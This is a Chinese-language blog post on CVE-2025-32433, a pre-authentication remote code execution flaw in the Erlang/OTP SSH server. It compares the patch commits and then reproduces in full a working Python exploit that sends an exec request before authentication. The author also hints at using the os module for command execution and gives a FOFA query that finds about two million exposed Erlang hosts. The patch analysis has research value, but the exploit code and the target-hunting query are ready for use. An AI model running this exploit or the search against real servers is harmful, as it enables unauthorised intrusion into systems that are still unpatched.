漏洞编号为,CVE-2025-32433,官方通告:https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2
ErlangOTP是啥哦,看看
看起来是一个广泛采用于基础设施服务方面的中间件,而且评分在满分10分级别的,这下不得不看了,到底是什么造成了这个安全惨案呢
补丁分析比对
仔细一看,Patched versions是27.3.3, 26.2.5.11, 25.3.2.20,四舍五入一下,我们只需要看其中一个,就中间的26.2.5.11吧
那启动一下26.2.5.11和26.2.5.10的补丁比对看看有什么commit值得视监一下
https://github.com/erlang/otp/compare/OTP-26.2.5.10…OTP-26.2.5.11
哦,这个很明显就是了,
commit 地址:
https://github.com/erlang/otp/commit/b1924d37fd83c070055beb115d5d6a6a9490b891
远程代码执行分析
对这两个文件进行了patch
lib/ssh/test/ssh_protocol_SUITE.erl的414行处,补丁删掉了Packetfun的获取,这是在用户可控的Msg部分获取的,原来会被传递到ssh_trpt_test_lib:exec当成执行参数的一部分
实际上,不仅如此,这段执行内容还被封装成新的函数,叫做,early_rce,与前述执行点所属函数custom_kexinit成为了互相独立的两个可供选择的函数。总之,不再有传递Msg到执行函数这种失误存在了
未授权利用分析
而对于SSH方面用户发送信息的处理,添加了对未认证状态、非法请求状态的处理代码,
喵?之前是没有的吗,cool
That’s cool,那么原来的就是即使请求非法或者未认证也能把用户的语句传入到执行函数了
漏洞利用
确实值10分的一个漏洞,而且,已经有安全人员,利用gpt(Cursor and Sonnet 3.7),生成了其exp代码:https://platformsecurity.com/blog/CVE-2025-32433-poc
最后修正版本https://github.com/ProDefense/CVE-2025-32433/tree/main
import socket
import struct
import time
HOST = "127.0.0.1" # Target IP (change if needed)
PORT = 2222 # Target port (change if needed)
# Helper to format SSH string (4-byte length + bytes)
def string_payload(s):
s_bytes = s.encode("utf-8")
return struct.pack(">I", len(s_bytes)) + s_bytes
# Builds SSH_MSG_CHANNEL_OPEN for session
def build_channel_open(channel_id=0):
return (
b"\x5a" # SSH_MSG_CHANNEL_OPEN
+ string_payload("session")
+ struct.pack(">I", channel_id) # sender channel ID
+ struct.pack(">I", 0x68000) # initial window size
+ struct.pack(">I", 0x10000) # max packet size
)
# Builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
def build_channel_request(channel_id=0, command=None):
if command is None:
command = 'file:write_file("/lab.txt", <<"pwned">>).'
return (
b"\x62" # SSH_MSG_CHANNEL_REQUEST
+ struct.pack(">I", channel_id)
+ string_payload("exec")
+ b"\x01" # want_reply = true
+ string_payload(command)
)
# Builds a minimal but valid SSH_MSG_KEXINIT packet
def build_kexinit():
cookie = b"\x00" * 16
def name_list(l):
return string_payload(",".join(l))
# Match server-supported algorithms from the log
return (
b"\x14"
+ cookie
+ name_list(
[
"curve25519-sha256",
"ecdh-sha2-nistp256",
"diffie-hellman-group-exchange-sha256",
"diffie-hellman-group14-sha256",
]
) # kex algorithms
+ name_list(["rsa-sha2-256", "rsa-sha2-512"]) # host key algorithms
+ name_list(["aes128-ctr"]) * 2 # encryption client->server, server->client
+ name_list(["hmac-sha1"]) * 2 # MAC algorithms
+ name_list(["none"]) * 2 # compression
+ name_list([]) * 2 # languages
+ b"\x00"
+ struct.pack(">I", 0) # first_kex_packet_follows, reserved
)
# Pads a packet to match SSH framing
def pad_packet(payload, block_size=8):
min_padding = 4
padding_len = block_size - ((len(payload) + 5) % block_size)
if padding_len < min_padding:
padding_len += block_size
return (
struct.pack(">I", len(payload) + 1 + padding_len)
+ bytes([padding_len])
+ payload
+ bytes([0] * padding_len)
)
# === Exploit flow ===
try:
with socket.create_connection((HOST, PORT), timeout=5) as s:
print("[*] Connecting to SSH server...")
# 1. Banner exchange
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
banner = s.recv(1024)
print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")
time.sleep(0.5) # Small delay between packets
# 2. Send SSH_MSG_KEXINIT
print("[*] Sending SSH_MSG_KEXINIT...")
kex_packet = build_kexinit()
s.sendall(pad_packet(kex_packet))
time.sleep(0.5) # Small delay between packets
# 3. Send SSH_MSG_CHANNEL_OPEN
print("[*] Sending SSH_MSG_CHANNEL_OPEN...")
chan_open = build_channel_open()
s.sendall(pad_packet(chan_open))
time.sleep(0.5) # Small delay between packets
# 4. Send SSH_MSG_CHANNEL_REQUEST (pre-auth!)
print("[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...")
chan_req = build_channel_request(
command='file:write_file("/lab.txt", <<"pwned">>).'
)
s.sendall(pad_packet(chan_req))
print(
"[✓] Exploit sent! If the server is vulnerable, it should have written to /lab.txt."
)
# Try to receive any response (might get a protocol error or disconnect)
try:
response = s.recv(1024)
print(f"[+] Received response: {response.hex()}")
except socket.timeout:
print("[*] No response within timeout period (which is expected)")
except Exception as e:
print(f"[!] Error: {e}")
这个调试起来还是一个比较复杂的活啊,gpt省了不少功夫了
关键还是
def build_channel_request(channel_id=0, command=”file:write_file(\”/lab.txt\”, <<\”pwned\”>>).”)这块,
这里,file是一类函数https://www.erlang.org/doc/apps/kernel/file.html
总的来说有这么多种类的函数
https://www.erlang.org/doc/apps/kernel/api-reference.html
其中,os这个就挺好的。。。咳咳
https://www.erlang.org/doc/apps/kernel/os
还有这是个分成三个阶段的脚本,KEXINIT->channel_open建立通信->channel_request实际通信时在Msg放入命令exec
资产
FOFA Query:app=”Erlang”
200 多万…打扰了,主包吓跑了,明天见